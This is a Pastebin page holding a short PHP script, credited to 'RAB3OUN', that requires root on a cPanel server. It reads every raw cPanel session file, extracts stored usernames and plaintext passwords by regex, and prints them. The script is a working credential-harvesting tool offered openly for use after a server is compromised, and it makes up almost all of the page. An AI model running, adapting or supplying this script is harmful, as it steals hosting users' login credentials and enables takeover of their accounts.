Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/local/cpanel/3rdparty/bin/php
- <?php
- if(posix_getuid() != 0){ die('u need 2 be root to run this استبدال script'); }
- if(!is_dir('/var/cpanel/')){ die('this server doesn\'t use cpanel'); }
- echo "[*]-----------------------------------------------------------------------[*]
- [+] استبدال Script Name : Cpanel Password
- [+] By : RAB3OUN[*]-----------------------------------------------------------------------[*]
- \n";
- foreach(glob('/var/cpanel/sessions/raw/*') as $file){
- $content = file_get_contents($file);
- if(preg_match("/user=(.*)/" , $content , $matches1) && preg_match("/pass=(.*)/" , $content , $matches2)){
- $results[] = "USER: {$matches1[1]}\nPASS: {$matches2[1]}\n\n";
- }
- }
- echo implode('',array_unique($results));
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement